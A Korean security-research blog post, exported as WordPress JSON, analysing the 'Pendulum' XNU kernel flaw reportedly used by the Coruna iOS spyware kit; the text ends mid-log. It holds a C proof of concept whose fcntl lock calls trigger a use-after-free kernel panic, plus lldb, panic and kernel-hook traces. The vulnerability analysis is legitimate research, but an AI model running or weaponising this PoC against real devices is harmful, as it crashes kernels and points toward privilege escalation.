{"id":4138,"date":"2026-08-19T01:13:14","date_gmt":"2026-08-18T16:13:14","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4138"},"modified":"2026-08-19T01:29:20","modified_gmt":"2026-08-18T16:29:20","slug":"%ec%8b%a4%ec%8a%b5-coruna%ec%97%90%ec%84%9c-%ec%82%ac%ec%9a%a9%eb%90%9c-pendulum-pe-%ec%bb%a4%eb%84%90-%ec%b7%a8%ec%95%bd%ec%a0%90-%ec%95%8c%ec%95%84%eb%b3%b4%ea%b8%b0","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4138","title":{"rendered":"[\uc2e4\uc2b5] Coruna\uc5d0\uc11c \uc0ac\uc6a9\ub41c Pendulum PE \ucee4\ub110 \ucde8\uc57d\uc810 \uc54c\uc544\ubcf4\uae30 (NoCVE-CorunaPEPendulum)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/NoCVE-CorunaPEPendulum\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/NoCVE-CorunaPEPendulum<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><p>\uc62c\ud574 3\uc6d4\uc5d0\ub294 Coruna\uc640 DarkSword \ub4f1 iOS \uae30\uae30\ub97c \ud0c0\uac9f\uc73c\ub85c \ud55c \uc5ec\ub7ec \uc2a4\ud30c\uc774\uc6e8\uc5b4\uac00 \ud3ec\ucc29\ub418\uc5c8\ub2e4. \uc9c0\uae08\ub3c4 \uc720\ud3ec\uc911\uc778\ub370, <a href=\"https:\/\/cloud.google.com\/blog\/en\/topics\/threat-intelligence\/coruna-powerful-ios-exploit-kit?hl=en\">\uad6c\uae00 \ube14\ub85c\uadf8<\/a>\uc5d0 \ub530\ub974\uba74, Coruna\uc5d0\uc11c\ub294 \ucd1d 6\uc885\ub958\uc758 PE(Privilege Escalation), \uc989 6\uac1c\uc758 \ucee4\ub110 \ucde8\uc57d\uc810\uc774 \uc0ac\uc6a9\ub418\uc5c8\ub2e4.<\/p>\n<p>\uc774 \uc911 CVE\ub85c \uacf5\uc2dd \ubc1c\ud45c\ub418\uc9c0 \uc54a\uc740 \ucee4\ub110 \ucde8\uc57d\uc810\uc740 \ucd1d 2\uac1c(Pendulum, Gruber)\uc774\uba70, 3\uc6d4\uc5d0 Gruber \ucde8\uc57d\uc810\uc744 AI\ub97c \uc774\uc6a9\ud574 \uc6d0 \uc18c\uc2a4\ucf54\ub4dc\ub85c \ubcf5\uc6d0(<a href=\"https:\/\/www.youtube.com\/watch?v=otw39UTc89g\">iPad 7\uc5d0\uc11c\uc758 \uc2dc\uc5f0 \uc601\uc0c1<\/a>)\ud558\uace0 <a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/NoCVE-CorunaPEGruber\/mimic_vmapple_140\">VMApple \uac00\uc0c1\uba38\uc2e0\uc73c\ub85c \ud3ec\ud305\ud558\ub294\ub370\uc5d0\ub3c4 \uc131\uacf5<\/a>\ud558\uc600\uc73c\ub098, \ucde8\uc57d\uc810 \uadfc\ubcf8 \uc6d0\uc778\uc744 \uc774\ud574\ud558\ub294\ub370 \uc5b4\ub824\uc6c0\uc774 \uc788\uc5b4\uc11c \ubd84\uc11d\uc744 \ubcf4\ub958\ud588\ub2e4. <a href=\"https:\/\/littlelailo.github.io\/writeups\/coruna.html#ref_38\">littlelalio\uc528\uac00 \uc791\uc131\ud55c \uae00<\/a>\uc5d0 Gruber \ucde8\uc57d\uc810 \uad00\ub828 \ubd84\uc11d \ub0b4\uc6a9\uc774 \ub4e4\uc5b4\uc788\uae30 \ub54c\ubb38\uc5d0 \ub300\uc2e0 \ucc38\uace0\ud558\uba74 \uc88b\uc744 \ub4ef \uc2f6\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c Gruber \ub300\uc2e0\uc5d0 Pendulum \ucee4\ub110 \ucde8\uc57d\uc810\uc744 \ubd84\uc11d\ud574\ubcf4\uae30\ub85c \ud558\uc600\ub2e4.<\/p>\n<h1>\ucee4\ub110 \ucde8\uc57d\uc810(Pendulum PE) \ub4e4\uc5b4\uc788\ub294 \ubc14\uc774\ub108\ub9ac \ucd94\ucd9c\ud558\uae30<\/h1>\n<p>\ud0c0\uac9f\uc740 \uc544\uc774\ud3f08, iOS 14.4.2 (Taurine\uc73c\ub85c \ud0c8\uc625\ub428) \uae30\uae30\ub97c \ub300\uc0c1\uc73c\ub85c \uc9c4\ud589\ud558\uc600\ub2e4.<\/p>\n<p>\ucd94\ucd9c\ud558\ub294 \ubc29\ubc95\uc740 \uac04\ub2e8\ud558\uba70, Tweak Injection\uc744 \ube44\ud65c\uc131\ud654\ud55c \uc0c1\ud0dc\ub85c \ud0c8\uc625\uc744 \uc9c4\ud589\ud55c \ub2e4\uc74c\uc5d0 lldb\ub85c WebContent \ud504\ub85c\uc138\uc2a4\uc5d0 attach\ud55c\ub2e4. <code>compression_decode_buffer<\/code>\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ud2c0 \uac78\uba74, \uc544\ub9c8 \ucd1d 2\ubc88\uc758 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\uac00 hit\ub420\ud150\ub370, \ub9c8\uc9c0\ub9c9(2\ubc88\uc9f8)\uc5d0\uc11c \uac78\ub9b0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\uc5d0\uc11c \ub364\ud504\ud558\uba74 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-22_at_3.48.34_PM.png\" alt=\"Screenshot 2026-07-22 at 3.48.34\u202fPM.png\"><\/p>\n<p>\ub364\ud504\ud574\ubcf4\uba74, \ucd1d 3\uac1c\uc758 mach-o \ud30c\uc77c\ub85c \uad6c\uc131\ub41c \ub369\uc5b4\ub9ac\uac00 \ub098\uc628\ub2e4.<\/p>\n<p>\ucf00\uc774\uc2a4\ub9c8\ub2e4 \ub2e4\ub97c\uaca0\uc9c0\ub9cc \ub098\uc758 \uacbd\uc6b0, 2\ubc88\uc9f8 \ub192\uc740 \uc8fc\uc18c\uc5d0 \uc788\ub294 30158h \ubd80\ubd84\uc744 \ucd94\ucd9c\ud588\ub354\ub2c8 \ucee4\ub110 \ucde8\uc57d\uc810\uc774 \ub4e4\uc5b4\uc788\ub294 \ubc14\uc774\ub108\ub9ac\ub97c \uad6c\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<p><a href=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/pendulum_pe.bin\">pendulum_pe.bin<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-22_at_3.49.48_PM.png\" alt=\"Screenshot 2026-07-22 at 3.49.48\u202fPM.png\"><\/p>\n<h1>\ubd84\uc11d<\/h1>\n<p>worker_thread_main(0x4d38)\uc5d0\uc11c \ucee4\ub110 \ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\ud558\uba70<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-22_at_7.03.44_PM.png\" alt=\"Screenshot 2026-07-22 at 7.03.44\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-22_at_7.29.20_PM.png\" alt=\"Screenshot 2026-07-22 at 7.29.20\u202fPM.png\"><\/p>\n<p>\ucc38\uace0\ud558\uba74\uc11c poc \ucf54\ub4dc\ub97c \uc791\uc131\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">#include &lt;sys\/types.h&gt;\n#include &lt;sys\/fcntl.h&gt;\n\n#include &lt;errno.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;stdint.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n\n#define F_OFD_SETLK 90\n\nint ofd_set_lock(int fd, short type, off_t start, off_t length)\n{\n    struct flock fl;\n\n    memset(&amp;fl, 0, sizeof(fl));\n\n    fl.l_start  = start;\n    fl.l_len    = length;\n    fl.l_pid    = 0;\n    fl.l_type   = type;\n    fl.l_whence = SEEK_SET;\n\n    return fcntl(fd, F_OFD_SETLK, &amp;fl);\n}\n\nint\nmain(void)\n{\n    int fd = open(&quot;\/dev\/urandom&quot;, O_RDONLY);\n    if (fd &lt; 0) {\n\t\tprintf(&quot;[-] open \/dev\/urandom failed: %s(%d)\\n&quot;, strerror(errno), errno);\n        return -1;\n    }\n\tprintf(&quot;[i] \/dev\/urandom fd: %d\\n&quot;, fd);\n\n\tif (ofd_set_lock(fd, F_RDLCK, 10, 10) != 0)  {\n\t\treturn -1;\n\t}\n\n\tif (ofd_set_lock(fd, F_RDLCK, (off_t)INT64_MAX, (off_t)0) &lt; 0) {\n        return -1;\n    }\n\n\tif (ofd_set_lock(fd, F_UNLCK, (off_t)30, (off_t)0x7fffffffffffffe2ULL) &lt; 0) {\n        return -1;\n    }\n\n\tif (ofd_set_lock(fd, F_RDLCK, (off_t)15, (off_t)10) &lt; 0) {\n        return -1;\n    }\n\tclose(fd);\n\n\tprintf(&quot;[*] didn't panic? rerun again\\n&quot;);\n    while(1) {};\n\n    return 0;\n}\n<\/code><\/pre>\n<p>Inferno\ub97c \uc774\uc6a9\ud55c \uc544\uc774\ud3f011\/iOS 14.0b5 \uc5d0\ubbac\ub808\uc774\ud130\uc5d0\uc11c poc\ub97c \uc2e4\ud589\uc2dc\ucf1c\ubcf4\uba74, \ud560\ub2f9\ud574\uc81c\ub41c default.kalloc.96 \uc874\uc5d0\uc11c \uc0ac\uc6a9\ub41c \ud754\uc801\uc774 \ubc1c\uacac\ub418\uc5c8\ub2e4\uba74\uc11c \ucee4\ub110 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4. (UAF)<\/p>\n<p>aggregated\ub77c\ub294 \ud504\ub85c\uc138\uc2a4\uc5d0\uc11c default.kalloc.96 \uc874\uc73c\ub85c\ubd80\ud130 \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ubc1b\uc73c\ub824\ud560\ub54c \ubc1c\uc0dd\ud55c \ubaa8\uc591\uc774\ub2e4\u2026<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-21_at_8.50.21_AM.png\" alt=\"Screenshot 2026-07-21 at 8.50.21\u202fAM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-21_at_8.52.06_AM.png\" alt=\"Screenshot 2026-07-21 at 8.52.06\u202fAM.png\"><\/p>\n<pre><code class=\"language-objectivec\">seo@seos-MacBook-Air ios14b5 % lldb kernel.research.iphone12b\n(lldb) target create &quot;kernel.research.iphone12b&quot;\nCurrent executable set to '\/Volumes\/sn850x_apfs\/ios14b5\/kernel.research.iphone12b' (arm64e).\n(lldb) gdb-remote 1234\nKernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3\nLoad Address: 0xfffffff007004000\nKernel slid 0x0 in memory.\nLoaded kernel file \/Volumes\/sn850x_apfs\/ios14b5\/kernel.research.iphone12b\nProcess 1 stopped\n* thread #1, stop reason = signal SIGTRAP\n    frame #0: 0xfffffff008125a14 kernel.research.iphone12b`arm64_retention_wfi + 4\nkernel.research.iphone12b`arm64_retention_wfi:\n-&gt;  0xfffffff008125a14 &lt;+4&gt;:  cbz    x30, 0xfffffff008125a1c ; &lt;+12&gt;\n    0xfffffff008125a18 &lt;+8&gt;:  ret\n    0xfffffff008125a1c &lt;+12&gt;: mov    x0, #0x1 ; =1\n    0xfffffff008125a20 &lt;+16&gt;: bl     0xfffffff007b60ffc ; ClearIdlePop\nTarget 0: (kernel.research.iphone12b) stopped.\n(lldb) breakpoint set -H -n panic\nBreakpoint 1: where = kernel.research.iphone12b`panic, address = 0xfffffff0097db944\n(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #3, stop reason = breakpoint 1.1\n    frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic\nkernel.research.iphone12b`panic:\n-&gt;  0xfffffff0097db944 &lt;+0&gt;:  pacibsp\n    0xfffffff0097db948 &lt;+4&gt;:  sub    sp, sp, #0x20\n    0xfffffff0097db94c &lt;+8&gt;:  stp    x29, x30, [sp, #0x10]\n    0xfffffff0097db950 &lt;+12&gt;: add    x29, sp, #0x10\nTarget 0: (kernel.research.iphone12b) stopped.\n(lldb) bt\n* thread #3, stop reason = breakpoint 1.1\n  * frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic\n    frame #1: 0xfffffff008127ee4 kernel.research.iphone12b`zone_element_not_clear_panic + 60\n    frame #2: 0xfffffff007a9156c kernel.research.iphone12b`zalloc_validate_element + 236\n    frame #3: 0xfffffff007a94d34 kernel.research.iphone12b`zcache_alloc_from_cpu_cache + 292\n    frame #4: 0xfffffff007a92d3c kernel.research.iphone12b`zalloc_ext + 60\n    frame #5: 0xfffffff007a3bf74 kernel.research.iphone12b`kalloc_ext + 152\n    frame #6: 0xfffffff007e6a154 kernel.research.iphone12b`lf_advlock + 380\n    frame #7: 0xfffffff007e46fb4 kernel.research.iphone12b`sys_fcntl_nocancel + 12540\n    frame #8: 0xfffffff007f7fc80 kernel.research.iphone12b`unix_syscall + 724\n    frame #9: 0xfffffff007b56c6c kernel.research.iphone12b`sleh_synchronous + 716\n    frame #10: 0xfffffff00811c5f4 kernel.research.iphone12b`fleh_synchronous + 40\n    frame #11: 0x000000018b6e6214 \n    frame #12: 0x000000018d677bf8\n    frame #13: 0x000000018d5e6310\n    frame #14: 0x000000018d617140\n    frame #15: 0x000000018d6165b4\n    frame #16: 0x000000018d5e0fac\n    frame #17: 0x000000018d60f3e4\n    frame #18: 0x000000018d5ff7ac\n    frame #19: 0x00000001b574035c\n    frame #20: 0x00000001b57232f4\n    frame #21: 0x000000018b5a5ac8\n    frame #22: 0x000000018b5b3c8c\n    frame #23: 0x00000001b56edebc\n    frame #24: 0x00000001b5723210\n    frame #25: 0x00000001b5723a04\n    frame #26: 0x00000001b56ad80c\n    frame #27: 0x00000001b56ae740\n    frame #28: 0x00000001b56a9274\n    frame #29: 0x00000001b56eded8\n    frame #30: 0x00000001b56a91f8\n    frame #31: 0x00000001b56ae160\n    frame #32: 0x00000001b56d3b24\n    frame #33: 0x00000001b56d3fb4\n    frame #34: 0x00000001b56d3098\n    frame #35: 0x000000018b5a3fd0\n    frame #36: 0x000000018b5a5ac8\n    frame #37: 0x000000018b5acc08\n    frame #38: 0x000000018b5ad768\n    frame #39: 0x000000018b5b7528\n    frame #40: 0x000000018b612908\n(lldb) c\nProcess 1 resuming\n<\/code><\/pre>\n<pre><code class=\"language-objectivec\">bash-5.2# .\/pendulum_poc\n[i] \/dev\/urandom fd: 3\n[*] didn't panic? rerun again\nAttempting to forcibly halt cpu 4\ncpu 4 failed to halt with error -5: halt not supported for this configuration\nAttempting to forcibly halt cpu 5\ncpu 5 failed to halt with error -5: halt not supported for this configuration\nDebugger synchronization timed out; waited 10000000 nanoseconds\nIOPlatformPanicAction -&gt; AppleANS2NVMeController\nIOPlatformPanicAction -&gt; AppleT8027USBXDCI\nIOPlatformPanicAction -&gt; AppleS5L8960XWatchDogTimer\nnot enabling long period watchdog (cleared SoC watchdog if enabled prior), panic SoC watchdog disabled\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleSMC\nAppleSMC detected kPanicBegin\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleT8030PMGR\npanic(cpu 2 caller 0xfffffff008127ee4): &quot;Zone element 0xffffffe19d2239c0 was modified after free for zone default.kalloc.96: &quot; &quot;Expected element to be cleared&quot;\nDebugger message: panic\nMemory ID: 0x0\nOS release type: Beta\nOS version: 18A5351d\nKernel version: Darwin Kernel Version 20.0.0: Wed Aug 12 22:56:55 PDT 2020; root:xnu-7195.0.33~64\/RELEASE_ARM64_T8030\nKernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3\niBoot version: ChefKiss QEMU Apple Silicon\nsecure boot?: YES\nPaniclog version: 13\nKernel text base:  0xfffffff007004000\nmach_absolute_time: 0x1f9ae95f3\nEpoch Time:        sec       usec\n  Boot    : 0x6a5eb336 0x000de0e9\n  Sleep   : 0x00000000 0x00000000\n  Wake    : 0x00000000 0x00000000\n  Calendar: 0x6a5eb496 0x00076724\n\nPanicked task 0xffffffe19c0e5900: 1325 pages, 7 threads: pid 70: aggregated\nPanicked thread: 0xffffffe19cb69d10, backtrace: 0xffffffe81abc2fa0, tid: 4089\n\t\t  lr: 0xfffffff007a2af48  fp: 0xffffffe81abc2fe0\n\t\t  lr: 0xfffffff007a2ad48  fp: 0xffffffe81abc3050\n\t\t  lr: 0xfffffff007b64940  fp: 0xffffffe81abc3070\n\t\t  lr: 0xfffffff007b56e1c  fp: 0xffffffe81abc3130\n\t\t  lr: 0xfffffff00811c5f4  fp: 0xffffffe81abc3140\n\t\t  lr: 0xfffffff007a2aa30  fp: 0xffffffe81abc34c0\n\t\t  lr: 0xfffffff007a2aa30  fp: 0xffffffe81abc3520\n\t\t  lr: 0xfffffff0097db97c  fp: 0xffffffe81abc3540\n\t\t  lr: 0xfffffff008127ee4  fp: 0xffffffe81abc3570\n\t\t  lr: 0xfffffff007a9156c  fp: 0xffffffe81abc35b0\n\t\t  lr: 0xfffffff007a94d34  fp: 0xffffffe81abc35f0\n\t\t  lr: 0xfffffff007a92d3c  fp: 0xffffffe81abc3630\n\t\t  lr: 0xfffffff007a3bf74  fp: 0xffffffe81abc3650\n\t\t  lr: 0xfffffff007e6a154  fp: 0xffffffe81abc38e0\n\t\t  lr: 0xfffffff007e46fb4  fp: 0xffffffe81abc3da0\n\t\t  lr: 0xfffffff007f7fc80  fp: 0xffffffe81abc3e30\n\t\t  lr: 0xfffffff007b56c6c  fp: 0xffffffe81abc3ef0\n\t\t  lr: 0xfffffff00811c5f4  fp: 0xffffffe81abc3f00\n\n!! debugger synchronization failed, no stackshot !!\nIOPlatformPanicAction -&gt; AppleANS2NVMeController\nIOPlatformPanicAction -&gt; AppleT8027USBXDCI\nIOPlatformPanicAction -&gt; AppleS5L8960XWatchDogTimer\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleSMC\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleT8030PMGR\nIOPlatformPanicAction -&gt; AppleANS2NVMeController\nIOPlatformPanicAction -&gt; AppleT8027USBXDCI\nIOPlatformPanicAction -&gt; AppleS5L8960XWatchDogTimer\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleSMC\nAppleSMC detected kPanicEnd\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleT8030PMGR\nIOPlatformPanicAction -&gt; AppleANS2NVMeController\nIOPlatformPanicAction -&gt; AppleT8027USBXDCI\nIOPlatformPanicAction -&gt; AppleS5L8960XWatchDogTimer\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleSMC\nIOPlatformPanicAction -&gt; RTBuddyV2\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleMCA2Cluster_T8030\nIOPlatformPanicAction -&gt; AppleT8030PMGR\nwdog panic (attempt 1)\nnot enabling long period watchdog (cleared SoC watchdog if enabled prior), panic SoC watchdog disabled\nseo@seos-MacBook-Air ios14b5 %\n<\/code><\/pre>\n<h2>ofd_set_lock?<\/h2>\n<p>\ud574\ub2f9 \ud568\uc218\ub294 \uac19\uc740 \ud30c\uc77c\uc744 \uc0ac\uc6a9\ud558\ub294 \uc5ec\ub7ec \uc2e4\ud589 \uc8fc\uccb4\uac00 \ud2b9\uc815 \ubc14\uc774\ud2b8 \ubc94\uc704\uc5d0 \ub3d9\uc2dc\uc5d0 \uc811\uadfc\ud558\uc9c0 \uc54a\ub3c4\ub85d \ud611\ub825\uc801\uc73c\ub85c(advisory) \uc870\uc815\ud558\ub294 \ud568\uc218\ub85c \ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<p><strong>\ubcc0\uacbd\uc744 \uc601\uad6c\uc801\uc73c\ub85c \uae08\uc9c0\ud558\ub294 \uac83\uc740 \uc544\ub2c8\ub2e4.<\/strong><\/p>\n<p>\uc7a0\uae08 \uaddc\uce59\uc744 \uc9c0\ud0a4\ub294 \uc5ec\ub7ec \ud504\ub85c\uc138\uc2a4\ub098 \uc2a4\ub808\ub4dc\uac00 \ub3d9\uc2dc\uc5d0 \uac19\uc740 \uc601\uc5ed\uc744 \uc218\uc815\ud558\uc5ec \ub370\uc774\ud130\uac00 \uc190\uc0c1\ub418\ub294 \uc77c\uc744 \ubc29\uc9c0\ud558\ub294 \uac83\uc774\uba70, \ub9cc\uc57d <code>fork()<\/code>\ub85c \uc0dd\uc131\ub41c \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 \ubd80\ubaa8\uac00 \uc7a0\uadfc \uad6c\uac04\uacfc \uacb9\uce58\ub294 \uc7a0\uae08\uc744 \uc2dc\ub3c4(fcntl)\ud55c\ub2e4\uba74, \uc7a0\uae08 \ud68d\ub4dd\uc744 \uc2e4\ud328\ud558\uc5ec Resource temporarily unavailable \uc5d0\ub7ec\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \uac19\uc740 \uad6c\uac04\uc5d0 <code>fcntl()<\/code> \uc7a0\uae08\uc744 \uac78\uace0 \uc791\uc5c5\ud558\ub294 \ud504\ub85c\uadf8\ub7a8\uc740 \ucda9\ub3cc\uc744 \uac10\uc9c0\ud574 \ubcc0\uacbd\uc744 \ud53c\ud560 \uc218 \uc788\uc744 \uac83\uc774\uba70, \ud558\uc9c0\ub9cc \uc7a0\uae08\uc744 \ud655\uc778\ud558\uc9c0 \uc54a\ub294 \ud504\ub85c\uadf8\ub7a8\uc740 \uadf8\ub0e5 <code>write()<\/code>\ub098 <code>pwrite()<\/code>\ub85c \ud574\ub2f9 \uad6c\uac04\uc744 \ubcc0\uacbd\ud560 \uc218 \uc788\uc744\uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">int ofd_set_lock(int fd, short type, off_t start, off_t length)\n{\n    struct flock fl;\n\n    memset(&amp;fl, 0, sizeof(fl));\n\n    fl.l_start  = start;\n    fl.l_len    = length;\n    fl.l_pid    = 0;\n    fl.l_type   = type;\n    fl.l_whence = SEEK_SET;\n\n    return fcntl(fd, F_OFD_SETLK, &amp;fl);\n}\n<\/code><\/pre>\n<h2>Root Cause \ubd84\uc11d<\/h2>\n<p>\uc774\ubc88\uc5d0\ub294 \uc720\uc800\ub79c\ub4dc \u2192 \ucee4\ub110\uae4c\uc9c0 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubd24\ub2e4.<\/p>\n<p>\ud558\ub098\uc758 \uc9c0\ub3c4\ub85c, \ubaa8\ub4e0\uac78 \ub2e4 \uc124\uba85\ud558\uae30\uc5d4 \ud798\ub4dc\ub2c8 \ucc28\uadfc\ucc28\uadfc \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-23_00.52.04.excalidraw-fs8.png\" alt=\"Drawing 2026-07-23 00.52.04.excalidraw-fs8.png\"><\/p>\n<p>Poc \ucf54\ub4dc\uc5d0\uc11c \uac01 \ucf54\ub4dc\ube14\ub85d\uc778 (A), (B), (U), \u00a9 \uac01\uac01 \ub098\ub204\uc5b4\uc11c, \ucee4\ub110 \ud6c4\ud0b9 \uacb0\uacfc\uc640 \ud568\uaed8 \uc124\uba85\ud574\ubcf4\uaca0\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-24_19.32.58.excalidraw-fs8.png\" alt=\"Drawing 2026-07-24 19.32.58.excalidraw-fs8.png\"><\/p>\n<p>\ucee4\ub110 \ud6c4\ud0b9 \uacb0\uacfc:<\/p>\n<pre><code>[  871.341437]: lf_advlock_hook ap=0xffffffe804c93b70\n[  871.341440]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=8 fl=0xffffffe804c939b0 flags=0x400 context=0xffffffe804c93970 timeout=0\n[  871.341447]:   flock start=10 len=10 pid=0 type=1 whence=0\n[  871.341453]: lf_findoverlap_hook lf=0 lock=0xffffffe4cdf18720 type=2 prev=0xffffffe804c93660 overlap=0xffffffe804c93658\n[  871.341458]:   lock flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341465]: lf_findoverlap ret=0 prev_value=0xffffffe19cc90e58 overlap_value=0\n[  871.341469]: lf_findoverlap_hook lf=0 lock=0xffffffe4cdf18720 type=1 prev=0xffffffe804c93650 overlap=0xffffffe804c93648\n[  871.341473]:   lock flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341479]: lf_findoverlap ret=0 prev_value=0xffffffe19cc90e58 overlap_value=0\n\n[  871.341485]: lf_advlock_hook ap=0xffffffe804c93b70\n[  871.341487]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=8 fl=0xffffffe804c939b0 flags=0x400 context=0xffffffe804c93970 timeout=0\n[  871.341492]:   flock start=9223372036854775807 len=0 pid=0 type=1 whence=0\n[  871.341496]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf114a0 type=2 prev=0xffffffe804c93660 overlap=0xffffffe804c93658\n[  871.341501]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0\n[  871.341507]:   lock flags=0x400 type=1 start=9223372036854775807 end=-1 id=0xffffffe1a06f6700 